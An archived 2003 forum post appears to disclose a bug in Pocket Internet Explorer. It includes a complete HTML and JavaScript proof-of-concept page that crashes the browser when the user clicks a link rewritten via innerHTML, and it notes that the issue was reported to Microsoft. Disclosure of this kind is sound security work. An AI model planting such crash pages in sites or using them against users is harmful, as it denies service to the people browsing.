PDA

Bekijk Volledige Versie : JS Bug makes it possible to deliberately crash Pocket PC IE



Christopher Sogge =?iso-8859-1?Q?R=F8tnes?=
03/01/03, 16:44
PROBLEM DESCRIPTION:
Calling a javascript from an object written to same page with the
object.innerHTML function causes Pocket Internet Explorer (PIE from now on)
to crash.

SOFTWARE AFFECTED:
Only PIE is affected, "regular" IE will show the pages as intented.

EXAMPLE:
<html>
<head>
<title>Crash PIE</title>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";
}
if(page=="crash"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">You are
going down!</a>";
}
}
</script>
</head>
<body onLoad="displayPage('onload');">
<hr>
<span id="main"></span>
</body></html>

SOLUTIONS:
no known patch available


Problem was reported to MS (Norway) 2nd of January 2003.


Chris